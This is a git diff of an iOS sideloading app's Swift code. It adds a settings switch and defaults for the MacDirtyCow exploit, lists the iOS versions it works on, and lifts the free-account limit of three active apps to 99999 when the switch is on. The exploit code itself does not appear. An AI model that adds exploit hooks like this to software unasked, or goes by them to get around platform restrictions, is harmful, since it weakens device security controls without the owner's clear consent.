|
case appRefresh
|
||||||
case instructions
|
case instructions
|
||||||
case credits
|
case credits
|
||||||
|
case cowExploit
|
||||||
case debug
|
case debug
|
||||||
}
|
}
|
||||||
|
|
||||||
fileprivate enum AppRefreshRow: Int, CaseIterable
|
enum AppRefreshRow: Int, CaseIterable
|
||||||
{
|
{
|
||||||
case backgroundRefresh
|
case backgroundRefresh
|
||||||
|
|
||||||
@available(iOS 14, *)
|
@available(iOS 14, *)
|
||||||
case addToSiri
|
case addToSiri
|
||||||
|
|
||||||
static var allCases: [AppRefreshRow] {
|
static var allCases: [AppRefreshRow]
|
||||||
|
{
|
||||||
guard #available(iOS 14, *) else { return [.backgroundRefresh] }
|
guard #available(iOS 14, *) else { return [.backgroundRefresh] }
|
||||||
return [.backgroundRefresh, .addToSiri]
|
return [.backgroundRefresh, .addToSiri]
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fileprivate enum CreditsRow: Int, CaseIterable
|
enum CreditsRow: Int, CaseIterable
|
||||||
{
|
{
|
||||||
case developer
|
case developer
|
||||||
case operations
|
case operations
|
||||||
@@ -48,7 +50,7 @@ extension SettingsViewController
|
|||||||
case softwareLicenses
|
case softwareLicenses
|
||||||
}
|
}
|
||||||
|
|
||||||
fileprivate enum DebugRow: Int, CaseIterable
|
enum DebugRow: Int, CaseIterable
|
||||||
{
|
{
|
||||||
case sendFeedback
|
case sendFeedback
|
||||||
case refreshAttempts
|
case refreshAttempts
|
||||||
@@ -72,10 +74,12 @@ final class SettingsViewController: UITableViewController
|
|||||||
@IBOutlet private var accountTypeLabel: UILabel!
|
@IBOutlet private var accountTypeLabel: UILabel!
|
||||||
|
|
||||||
@IBOutlet private var backgroundRefreshSwitch: UISwitch!
|
@IBOutlet private var backgroundRefreshSwitch: UISwitch!
|
||||||
|
@IBOutlet private var enableCowExploitSwitch: UISwitch!
|
||||||
|
|
||||||
@IBOutlet private var versionLabel: UILabel!
|
@IBOutlet private var versionLabel: UILabel!
|
||||||
|
|
||||||
override var preferredStatusBarStyle: UIStatusBarStyle {
|
override var preferredStatusBarStyle: UIStatusBarStyle
|
||||||
|
{
|
||||||
return .lightContent
|
return .lightContent
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -147,6 +151,7 @@ private extension SettingsViewController
|
|||||||
}
|
}
|
||||||
|
|
||||||
self.backgroundRefreshSwitch.isOn = UserDefaults.standard.isBackgroundRefreshEnabled
|
self.backgroundRefreshSwitch.isOn = UserDefaults.standard.isBackgroundRefreshEnabled
|
||||||
|
self.enableCowExploitSwitch.isOn = UserDefaults.standard.enableCowExploit
|
||||||
|
|
||||||
if self.isViewLoaded
|
if self.isViewLoaded
|
||||||
{
|
{
|
||||||
@@ -204,6 +209,16 @@ private extension SettingsViewController
|
|||||||
case .instructions:
|
case .instructions:
|
||||||
break
|
break
|
||||||
|
|
||||||
|
case .cowExploit:
|
||||||
|
if isHeader
|
||||||
|
{
|
||||||
|
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("EXPLOITS", comment: "")
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("Your device supports the M_D_C exploit. When this setting is on, the exploit is used to enable you to sideload more than 3 apps at a time. (warning: might be unstable)", comment: "")
|
||||||
|
}
|
||||||
|
|
||||||
case .credits:
|
case .credits:
|
||||||
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("CREDITS", comment: "")
|
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("CREDITS", comment: "")
|
||||||
|
|
||||||
@@ -223,14 +238,28 @@ private extension SettingsViewController
|
|||||||
let size = settingsHeaderFooterView.contentView.systemLayoutSizeFitting(UIView.layoutFittingCompressedSize)
|
let size = settingsHeaderFooterView.contentView.systemLayoutSizeFitting(UIView.layoutFittingCompressedSize)
|
||||||
return size.height
|
return size.height
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func isSectionHidden(_ section: Section) -> Bool
|
||||||
|
{
|
||||||
|
switch section
|
||||||
|
{
|
||||||
|
case .cowExploit:
|
||||||
|
let isHidden = !(UserDefaults.standard.isCowExploitSupported)
|
||||||
|
return isHidden
|
||||||
|
|
||||||
|
default: return false
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private extension SettingsViewController
|
private extension SettingsViewController
|
||||||
{
|
{
|
||||||
func signIn()
|
func signIn()
|
||||||
{
|
{
|
||||||
AppManager.shared.authenticate(presentingViewController: self) { (result) in
|
AppManager.shared.authenticate(presentingViewController: self)
|
||||||
DispatchQueue.main.async {
|
{ result in
|
||||||
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .failure(OperationError.cancelled):
|
case .failure(OperationError.cancelled):
|
||||||
@@ -253,8 +282,10 @@ private extension SettingsViewController
|
|||||||
{
|
{
|
||||||
func signOut()
|
func signOut()
|
||||||
{
|
{
|
||||||
DatabaseManager.shared.signOut { (error) in
|
DatabaseManager.shared.signOut
|
||||||
DispatchQueue.main.async {
|
{ error in
|
||||||
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
if let error = error
|
if let error = error
|
||||||
{
|
{
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
@@ -279,6 +310,16 @@ private extension SettingsViewController
|
|||||||
UserDefaults.standard.isBackgroundRefreshEnabled = sender.isOn
|
UserDefaults.standard.isBackgroundRefreshEnabled = sender.isOn
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@IBAction func toggleenableCowExploit(_ sender: UISwitch)
|
||||||
|
{
|
||||||
|
UserDefaults.standard.enableCowExploit = sender.isOn
|
||||||
|
|
||||||
|
if UserDefaults.standard.activeAppsLimit != nil
|
||||||
|
{
|
||||||
|
UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@available(iOS 14, *)
|
@available(iOS 14, *)
|
||||||
@IBAction func addRefreshAppsShortcut()
|
@IBAction func addRefreshAppsShortcut()
|
||||||
{
|
{
|
||||||
@@ -304,7 +345,8 @@ private extension SettingsViewController
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
self.debugGestureTimer = Timer.scheduledTimer(withTimeInterval: 0.4, repeats: false) { [weak self] (timer) in
|
self.debugGestureTimer = Timer.scheduledTimer(withTimeInterval: 0.4, repeats: false)
|
||||||
|
{ [weak self] _ in
|
||||||
self?.debugGestureCounter = 0
|
self?.debugGestureCounter = 0
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -313,7 +355,8 @@ private extension SettingsViewController
|
|||||||
func openTwitter(username: String)
|
func openTwitter(username: String)
|
||||||
{
|
{
|
||||||
let twitterAppURL = URL(string: "twitter://user?screen_name=" + username)!
|
let twitterAppURL = URL(string: "twitter://user?screen_name=" + username)!
|
||||||
UIApplication.shared.open(twitterAppURL, options: [:]) { (success) in
|
UIApplication.shared.open(twitterAppURL, options: [:])
|
||||||
|
{ success in
|
||||||
if success
|
if success
|
||||||
{
|
{
|
||||||
if let selectedIndexPath = self.tableView.indexPathForSelectedRow
|
if let selectedIndexPath = self.tableView.indexPathForSelectedRow
|
||||||
@@ -339,7 +382,8 @@ private extension SettingsViewController
|
|||||||
{
|
{
|
||||||
guard self.presentedViewController == nil else { return }
|
guard self.presentedViewController == nil else { return }
|
||||||
|
|
||||||
UIView.performWithoutAnimation {
|
UIView.performWithoutAnimation
|
||||||
|
{
|
||||||
self.navigationController?.popViewController(animated: false)
|
self.navigationController?.popViewController(animated: false)
|
||||||
self.performSegue(withIdentifier: "showPatreon", sender: nil)
|
self.performSegue(withIdentifier: "showPatreon", sender: nil)
|
||||||
}
|
}
|
||||||
@@ -365,6 +409,7 @@ extension SettingsViewController
|
|||||||
let section = Section.allCases[section]
|
let section = Section.allCases[section]
|
||||||
switch section
|
switch section
|
||||||
{
|
{
|
||||||
|
case _ where self.isSectionHidden(section): return 0
|
||||||
case .signIn: return (self.activeTeam == nil) ? 1 : 0
|
case .signIn: return (self.activeTeam == nil) ? 1 : 0
|
||||||
case .account: return (self.activeTeam == nil) ? 0 : 3
|
case .account: return (self.activeTeam == nil) ? 0 : 3
|
||||||
case .appRefresh: return AppRefreshRow.allCases.count
|
case .appRefresh: return AppRefreshRow.allCases.count
|
||||||
@@ -393,9 +438,10 @@ extension SettingsViewController
|
|||||||
let section = Section.allCases[section]
|
let section = Section.allCases[section]
|
||||||
switch section
|
switch section
|
||||||
{
|
{
|
||||||
|
case _ where self.isSectionHidden(section): return nil
|
||||||
case .signIn where self.activeTeam != nil: return nil
|
case .signIn where self.activeTeam != nil: return nil
|
||||||
case .account where self.activeTeam == nil: return nil
|
case .account where self.activeTeam == nil: return nil
|
||||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug:
|
case .signIn, .account, .patreon, .appRefresh, .credits, .cowExploit, .debug:
|
||||||
let headerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
let headerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
||||||
self.prepare(headerView, for: section, isHeader: true)
|
self.prepare(headerView, for: section, isHeader: true)
|
||||||
return headerView
|
return headerView
|
||||||
@@ -409,8 +455,9 @@ extension SettingsViewController
|
|||||||
let section = Section.allCases[section]
|
let section = Section.allCases[section]
|
||||||
switch section
|
switch section
|
||||||
{
|
{
|
||||||
|
case _ where self.isSectionHidden(section): return nil
|
||||||
case .signIn where self.activeTeam != nil: return nil
|
case .signIn where self.activeTeam != nil: return nil
|
||||||
case .signIn, .patreon, .appRefresh:
|
case .signIn, .patreon, .appRefresh, .cowExploit:
|
||||||
let footerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
let footerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
||||||
self.prepare(footerView, for: section, isHeader: false)
|
self.prepare(footerView, for: section, isHeader: false)
|
||||||
return footerView
|
return footerView
|
||||||
@@ -424,9 +471,10 @@ extension SettingsViewController
|
|||||||
let section = Section.allCases[section]
|
let section = Section.allCases[section]
|
||||||
switch section
|
switch section
|
||||||
{
|
{
|
||||||
|
case _ where self.isSectionHidden(section): return 1.0
|
||||||
case .signIn where self.activeTeam != nil: return 1.0
|
case .signIn where self.activeTeam != nil: return 1.0
|
||||||
case .account where self.activeTeam == nil: return 1.0
|
case .account where self.activeTeam == nil: return 1.0
|
||||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug:
|
case .signIn, .account, .patreon, .appRefresh, .credits, .debug, .cowExploit:
|
||||||
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: true)
|
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: true)
|
||||||
return height
|
return height
|
||||||
|
|
||||||
@@ -439,9 +487,10 @@ extension SettingsViewController
|
|||||||
let section = Section.allCases[section]
|
let section = Section.allCases[section]
|
||||||
switch section
|
switch section
|
||||||
{
|
{
|
||||||
|
case _ where self.isSectionHidden(section): return 1.0
|
||||||
case .signIn where self.activeTeam != nil: return 1.0
|
case .signIn where self.activeTeam != nil: return 1.0
|
||||||
case .account where self.activeTeam == nil: return 1.0
|
case .account where self.activeTeam == nil: return 1.0
|
||||||
case .signIn, .patreon, .appRefresh:
|
case .signIn, .patreon, .appRefresh, .cowExploit:
|
||||||
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: false)
|
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: false)
|
||||||
return height
|
return height
|
||||||
|
|
||||||
@@ -515,8 +564,10 @@ extension SettingsViewController
|
|||||||
message: NSLocalizedString("You can reset the pairing file when you cannot sideload apps or enable JIT. You need to restart SideStore.", comment: ""),
|
message: NSLocalizedString("You can reset the pairing file when you cannot sideload apps or enable JIT. You need to restart SideStore.", comment: ""),
|
||||||
preferredStyle: UIAlertController.Style.actionSheet)
|
preferredStyle: UIAlertController.Style.actionSheet)
|
||||||
|
|
||||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Delete and Reset", comment: ""), style: .destructive){ _ in
|
alertController.addAction(UIAlertAction(title: NSLocalizedString("Delete and Reset", comment: ""), style: .destructive)
|
||||||
if fm.fileExists(atPath: documentsPath.path), let contents = try? String(contentsOf: documentsPath), !contents.isEmpty {
|
{ _ in
|
||||||
|
if fm.fileExists(atPath: documentsPath.path), let contents = try? String(contentsOf: documentsPath), !contents.isEmpty
|
||||||
|
{
|
||||||
try? fm.removeItem(atPath: documentsPath.path)
|
try? fm.removeItem(atPath: documentsPath.path)
|
||||||
NSLog("Pairing File Reseted")
|
NSLog("Pairing File Reseted")
|
||||||
}
|
}
|
||||||
@@ -532,15 +583,18 @@ extension SettingsViewController
|
|||||||
self.tableView.deselectRow(at: indexPath, animated: true)
|
self.tableView.deselectRow(at: indexPath, animated: true)
|
||||||
case .advancedSettings:
|
case .advancedSettings:
|
||||||
// Create the URL that deep links to your app's custom settings.
|
// Create the URL that deep links to your app's custom settings.
|
||||||
if let url = URL(string: UIApplication.openSettingsURLString) {
|
if let url = URL(string: UIApplication.openSettingsURLString)
|
||||||
|
{
|
||||||
// Ask the system to open that URL.
|
// Ask the system to open that URL.
|
||||||
UIApplication.shared.open(url)
|
UIApplication.shared.open(url)
|
||||||
} else {
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
ELOG("UIApplication.openSettingsURLString invalid")
|
ELOG("UIApplication.openSettingsURLString invalid")
|
||||||
}
|
}
|
||||||
case .refreshAttempts, .errorLog: break
|
case .refreshAttempts, .errorLog: break
|
||||||
}
|
}
|
||||||
|
case .cowExploit: break
|
||||||
default: break
|
default: break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -10,8 +10,7 @@ import Foundation
|
|||||||
|
|
||||||
import Roxas
|
import Roxas
|
||||||
|
|
||||||
public extension UserDefaults
|
public extension UserDefaults {
|
||||||
{
|
|
||||||
static let shared: UserDefaults = {
|
static let shared: UserDefaults = {
|
||||||
guard let appGroup = Bundle.main.appGroups.first else { return .standard }
|
guard let appGroup = Bundle.main.appGroups.first else { return .standard }
|
||||||
|
|
||||||
@@ -43,25 +42,27 @@ public extension UserDefaults
|
|||||||
|
|
||||||
@NSManaged var trustedSourceIDs: [String]?
|
@NSManaged var trustedSourceIDs: [String]?
|
||||||
|
|
||||||
|
@nonobjc
|
||||||
var activeAppsLimit: Int? {
|
var activeAppsLimit: Int? {
|
||||||
get {
|
get {
|
||||||
return self._activeAppsLimit?.intValue
|
return self._activeAppsLimit?.intValue
|
||||||
}
|
}
|
||||||
set {
|
set {
|
||||||
if let value = newValue
|
if let value = newValue {
|
||||||
{
|
|
||||||
self._activeAppsLimit = NSNumber(value: value)
|
self._activeAppsLimit = NSNumber(value: value)
|
||||||
}
|
}
|
||||||
else
|
else {
|
||||||
{
|
|
||||||
self._activeAppsLimit = nil
|
self._activeAppsLimit = nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@NSManaged @objc(activeAppsLimit) private var _activeAppsLimit: NSNumber?
|
@NSManaged @objc(activeAppsLimit) private var _activeAppsLimit: NSNumber?
|
||||||
|
|
||||||
class func registerDefaults()
|
@NSManaged var enableCowExploit: Bool
|
||||||
{
|
@NSManaged var isCowExploitSupported: Bool
|
||||||
|
|
||||||
|
class func registerDefaults() {
|
||||||
let ios13_5 = OperatingSystemVersion(majorVersion: 13, minorVersion: 5, patchVersion: 0)
|
let ios13_5 = OperatingSystemVersion(majorVersion: 13, minorVersion: 5, patchVersion: 0)
|
||||||
let isLegacyDeactivationSupported = !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios13_5)
|
let isLegacyDeactivationSupported = !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios13_5)
|
||||||
let activeAppLimitIncludesExtensions = !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios13_5)
|
let activeAppLimitIncludesExtensions = !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios13_5)
|
||||||
@@ -69,15 +70,31 @@ public extension UserDefaults
|
|||||||
let ios14 = OperatingSystemVersion(majorVersion: 14, minorVersion: 0, patchVersion: 0)
|
let ios14 = OperatingSystemVersion(majorVersion: 14, minorVersion: 0, patchVersion: 0)
|
||||||
let localServerSupportsRefreshing = !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios14)
|
let localServerSupportsRefreshing = !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios14)
|
||||||
|
|
||||||
|
let ios16 = OperatingSystemVersion(majorVersion: 16, minorVersion: 0, patchVersion: 0)
|
||||||
|
let ios16_2 = OperatingSystemVersion(majorVersion: 16, minorVersion: 2, patchVersion: 0)
|
||||||
|
let ios15_7_2 = OperatingSystemVersion(majorVersion: 15, minorVersion: 7, patchVersion: 2)
|
||||||
|
|
||||||
|
// MacDirtyCow supports iOS 14.0 - 15.7.1 OR 16.0 - 16.1.2
|
||||||
|
let isCowExploitSupported =
|
||||||
|
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios14) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15_7_2)) ||
|
||||||
|
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16_2))
|
||||||
|
|
||||||
let defaults = [
|
let defaults = [
|
||||||
#keyPath(UserDefaults.isBackgroundRefreshEnabled): true,
|
#keyPath(UserDefaults.isBackgroundRefreshEnabled): true,
|
||||||
#keyPath(UserDefaults.isLegacyDeactivationSupported): isLegacyDeactivationSupported,
|
#keyPath(UserDefaults.isLegacyDeactivationSupported): isLegacyDeactivationSupported,
|
||||||
#keyPath(UserDefaults.activeAppLimitIncludesExtensions): activeAppLimitIncludesExtensions,
|
#keyPath(UserDefaults.activeAppLimitIncludesExtensions): activeAppLimitIncludesExtensions,
|
||||||
#keyPath(UserDefaults.localServerSupportsRefreshing): localServerSupportsRefreshing,
|
#keyPath(UserDefaults.localServerSupportsRefreshing): localServerSupportsRefreshing,
|
||||||
#keyPath(UserDefaults.requiresAppGroupMigration): true
|
#keyPath(UserDefaults.requiresAppGroupMigration): true,
|
||||||
|
#keyPath(UserDefaults.enableCowExploit): true,
|
||||||
|
#keyPath(UserDefaults.isCowExploitSupported): isCowExploitSupported,
|
||||||
]
|
]
|
||||||
|
|
||||||
UserDefaults.standard.register(defaults: defaults)
|
UserDefaults.standard.register(defaults: defaults)
|
||||||
UserDefaults.shared.register(defaults: defaults)
|
UserDefaults.shared.register(defaults: defaults)
|
||||||
|
|
||||||
|
if !isCowExploitSupported {
|
||||||
|
// Disable enableCowExploit if running iOS version that doesn't support MacDirtyCow.
|
||||||
|
UserDefaults.standard.enableCowExploit = false
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,14 +6,28 @@
|
|||||||
// Copyright © 2019 Riley Testut. All rights reserved.
|
// Copyright © 2019 Riley Testut. All rights reserved.
|
||||||
//
|
//
|
||||||
|
|
||||||
import Foundation
|
|
||||||
import CoreData
|
import CoreData
|
||||||
|
import Foundation
|
||||||
|
|
||||||
import AltSign
|
import AltSign
|
||||||
import SemanticVersion
|
import SemanticVersion
|
||||||
|
|
||||||
// Free developer accounts are limited to only 3 active sideloaded apps at a time as of iOS 13.3.1.
|
// Free developer accounts are limited to only 3 active sideloaded apps at a time as of iOS 13.3.1.
|
||||||
public let ALTActiveAppsLimit = 3
|
public extension InstalledApp
|
||||||
|
{
|
||||||
|
static var freeAccountActiveAppsLimit: Int
|
||||||
|
{
|
||||||
|
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported
|
||||||
|
{
|
||||||
|
return 99999
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// Free developer accounts are limited to only 3 active sideloaded apps at a time as of iOS 13.3.1.
|
||||||
|
return 3
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
public protocol InstalledAppProtocol: Fetchable
|
public protocol InstalledAppProtocol: Fetchable
|
||||||
{
|
{
|
||||||
@@ -56,18 +70,21 @@ public class InstalledApp: NSManagedObject, InstalledAppProtocol
|
|||||||
|
|
||||||
@NSManaged public private(set) var loggedErrors: NSSet /* Set<LoggedError> */ // Use NSSet to avoid eagerly fetching values.
|
@NSManaged public private(set) var loggedErrors: NSSet /* Set<LoggedError> */ // Use NSSet to avoid eagerly fetching values.
|
||||||
|
|
||||||
public var isSideloaded: Bool {
|
public var isSideloaded: Bool
|
||||||
|
{
|
||||||
return self.storeApp == nil
|
return self.storeApp == nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@objc public var hasUpdate: Bool {
|
@objc public var hasUpdate: Bool
|
||||||
|
{
|
||||||
if self.storeApp == nil { return false }
|
if self.storeApp == nil { return false }
|
||||||
if self.storeApp!.latestVersion == nil { return false }
|
if self.storeApp!.latestVersion == nil { return false }
|
||||||
|
|
||||||
let currentVersion = SemanticVersion(self.version)
|
let currentVersion = SemanticVersion(self.version)
|
||||||
let latestVersion = SemanticVersion(self.storeApp!.latestVersion!.version)
|
let latestVersion = SemanticVersion(self.storeApp!.latestVersion!.version)
|
||||||
|
|
||||||
if currentVersion == nil || latestVersion == nil {
|
if currentVersion == nil || latestVersion == nil
|
||||||
|
{
|
||||||
// One of the versions is not valid SemVer, fall back to comparing the version strings by character
|
// One of the versions is not valid SemVer, fall back to comparing the version strings by character
|
||||||
return self.version < self.storeApp!.latestVersion!.version
|
return self.version < self.storeApp!.latestVersion!.version
|
||||||
}
|
}
|
||||||
@@ -75,16 +92,18 @@ public class InstalledApp: NSManagedObject, InstalledAppProtocol
|
|||||||
return currentVersion! < latestVersion!
|
return currentVersion! < latestVersion!
|
||||||
}
|
}
|
||||||
|
|
||||||
public var appIDCount: Int {
|
public var appIDCount: Int
|
||||||
|
{
|
||||||
return 1 + self.appExtensions.count
|
return 1 + self.appExtensions.count
|
||||||
}
|
}
|
||||||
|
|
||||||
public var requiredActiveSlots: Int {
|
public var requiredActiveSlots: Int
|
||||||
|
{
|
||||||
let requiredActiveSlots = UserDefaults.standard.activeAppLimitIncludesExtensions ? self.appIDCount : 1
|
let requiredActiveSlots = UserDefaults.standard.activeAppLimitIncludesExtensions ? self.appIDCount : 1
|
||||||
return requiredActiveSlots
|
return requiredActiveSlots
|
||||||
}
|
}
|
||||||
|
|
||||||
private override init(entity: NSEntityDescription, insertInto context: NSManagedObjectContext?)
|
override private init(entity: NSEntityDescription, insertInto context: NSManagedObjectContext?)
|
||||||
{
|
{
|
||||||
super.init(entity: entity, insertInto: context)
|
super.init(entity: entity, insertInto: context)
|
||||||
}
|
}
|
||||||
@@ -132,7 +151,8 @@ public class InstalledApp: NSManagedObject, InstalledAppProtocol
|
|||||||
let alternateIconURL = self.alternateIconURL
|
let alternateIconURL = self.alternateIconURL
|
||||||
let fileURL = self.fileURL
|
let fileURL = self.fileURL
|
||||||
|
|
||||||
DispatchQueue.global().async {
|
DispatchQueue.global().async
|
||||||
|
{
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if hasAlternateIcon,
|
if hasAlternateIcon,
|
||||||
@@ -255,7 +275,8 @@ public extension InstalledApp
|
|||||||
|
|
||||||
public extension InstalledApp
|
public extension InstalledApp
|
||||||
{
|
{
|
||||||
var openAppURL: URL {
|
var openAppURL: URL
|
||||||
|
{
|
||||||
let openAppURL = URL(string: "altstore-" + self.bundleIdentifier + "://")!
|
let openAppURL = URL(string: "altstore-" + self.bundleIdentifier + "://")!
|
||||||
return openAppURL
|
return openAppURL
|
||||||
}
|
}
|
||||||
@@ -269,7 +290,8 @@ public extension InstalledApp
|
|||||||
|
|
||||||
public extension InstalledApp
|
public extension InstalledApp
|
||||||
{
|
{
|
||||||
class var appsDirectoryURL: URL {
|
class var appsDirectoryURL: URL
|
||||||
|
{
|
||||||
let baseDirectory = FileManager.default.altstoreSharedDirectory ?? FileManager.default.applicationSupportDirectory
|
let baseDirectory = FileManager.default.altstoreSharedDirectory ?? FileManager.default.applicationSupportDirectory
|
||||||
let appsDirectoryURL = baseDirectory.appendingPathComponent("Apps")
|
let appsDirectoryURL = baseDirectory.appendingPathComponent("Apps")
|
||||||
|
|
||||||
@@ -279,7 +301,8 @@ public extension InstalledApp
|
|||||||
return appsDirectoryURL
|
return appsDirectoryURL
|
||||||
}
|
}
|
||||||
|
|
||||||
class var legacyAppsDirectoryURL: URL {
|
class var legacyAppsDirectoryURL: URL
|
||||||
|
{
|
||||||
let baseDirectory = FileManager.default.applicationSupportDirectory
|
let baseDirectory = FileManager.default.applicationSupportDirectory
|
||||||
let appsDirectoryURL = baseDirectory.appendingPathComponent("Apps")
|
let appsDirectoryURL = baseDirectory.appendingPathComponent("Apps")
|
||||||
print("legacy `appsDirectoryURL` is set to: \(appsDirectoryURL.absoluteString)")
|
print("legacy `appsDirectoryURL` is set to: \(appsDirectoryURL.absoluteString)")
|
||||||
@@ -327,27 +350,33 @@ public extension InstalledApp
|
|||||||
return installedBackupAppUTI
|
return installedBackupAppUTI
|
||||||
}
|
}
|
||||||
|
|
||||||
var directoryURL: URL {
|
var directoryURL: URL
|
||||||
|
{
|
||||||
return InstalledApp.directoryURL(for: self)
|
return InstalledApp.directoryURL(for: self)
|
||||||
}
|
}
|
||||||
|
|
||||||
var fileURL: URL {
|
var fileURL: URL
|
||||||
|
{
|
||||||
return InstalledApp.fileURL(for: self)
|
return InstalledApp.fileURL(for: self)
|
||||||
}
|
}
|
||||||
|
|
||||||
var refreshedIPAURL: URL {
|
var refreshedIPAURL: URL
|
||||||
|
{
|
||||||
return InstalledApp.refreshedIPAURL(for: self)
|
return InstalledApp.refreshedIPAURL(for: self)
|
||||||
}
|
}
|
||||||
|
|
||||||
var installedAppUTI: String {
|
var installedAppUTI: String
|
||||||
|
{
|
||||||
return InstalledApp.installedAppUTI(forBundleIdentifier: self.resignedBundleIdentifier)
|
return InstalledApp.installedAppUTI(forBundleIdentifier: self.resignedBundleIdentifier)
|
||||||
}
|
}
|
||||||
|
|
||||||
var installedBackupAppUTI: String {
|
var installedBackupAppUTI: String
|
||||||
|
{
|
||||||
return InstalledApp.installedBackupAppUTI(forBundleIdentifier: self.resignedBundleIdentifier)
|
return InstalledApp.installedBackupAppUTI(forBundleIdentifier: self.resignedBundleIdentifier)
|
||||||
}
|
}
|
||||||
|
|
||||||
var alternateIconURL: URL {
|
var alternateIconURL: URL
|
||||||
|
{
|
||||||
return InstalledApp.alternateIconURL(for: self)
|
return InstalledApp.alternateIconURL(for: self)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,8 +6,8 @@
|
|||||||
// Copyright © 2020 Riley Testut. All rights reserved.
|
// Copyright © 2020 Riley Testut. All rights reserved.
|
||||||
//
|
//
|
||||||
|
|
||||||
import CoreData
|
|
||||||
import AltSign
|
import AltSign
|
||||||
|
import CoreData
|
||||||
|
|
||||||
@objc(InstalledAppToInstalledAppMigrationPolicy)
|
@objc(InstalledAppToInstalledAppMigrationPolicy)
|
||||||
class InstalledAppToInstalledAppMigrationPolicy: NSEntityMigrationPolicy
|
class InstalledAppToInstalledAppMigrationPolicy: NSEntityMigrationPolicy
|
||||||
@@ -50,7 +50,7 @@ class InstalledAppToInstalledAppMigrationPolicy: NSEntityMigrationPolicy
|
|||||||
|
|
||||||
// We can assume there is an active app limit,
|
// We can assume there is an active app limit,
|
||||||
// but will confirm next time user authenticates.
|
// but will confirm next time user authenticates.
|
||||||
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
|
UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
|
||||||
}
|
}
|
||||||
|
|
||||||
return NSNumber(value: isActive)
|
return NSNumber(value: isActive)
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
// Configuration settings file format documentation can be found at:
|
// Configuration settings file format documentation can be found at:
|
||||||
// https://help.apple.com/xcode/#/dev745c5c974
|
// https://help.apple.com/xcode/#/dev745c5c974
|
||||||
|
|
||||||
MARKETING_VERSION = 0.3.0
|
MARKETING_VERSION = 0.3.2-f1shy-mdc-16
|
||||||
CURRENT_PROJECT_VERSION = 3020
|
CURRENT_PROJECT_VERSION = 3050
|
||||||
|
|
||||||
// Vars to be overwritten by `CodeSigning.xcconfig` if exists
|
// Vars to be overwritten by `CodeSigning.xcconfig` if exists
|
||||||
DEVELOPMENT_TEAM = S32Z3HMYVQ
|
DEVELOPMENT_TEAM = S32Z3HMYVQ
|
||||||
|
|||||||
137
Dangerfile.swift
137
Dangerfile.swift
@@ -1,137 +0,0 @@
|
|||||||
import Danger
|
|
||||||
import Foundation
|
|
||||||
// import SwiftLint
|
|
||||||
|
|
||||||
let danger = Danger()
|
|
||||||
|
|
||||||
// fileImport: DangerfileExtensions/ChangelogCheck.swift
|
|
||||||
// checkChangelog()
|
|
||||||
|
|
||||||
// Add a CHANGELOG entry for app changes
|
|
||||||
let hasChangelog = danger.git.modifiedFiles.contains("Changelog.md")
|
|
||||||
let isTrivial = (danger.github.pullRequest.body + danger.github.pullRequest.title).contains("#trivial")
|
|
||||||
|
|
||||||
if (!hasChangelog && !isTrivial) {
|
|
||||||
warn("Please add a changelog entry for your changes.")
|
|
||||||
}
|
|
||||||
|
|
||||||
// PR Too large
|
|
||||||
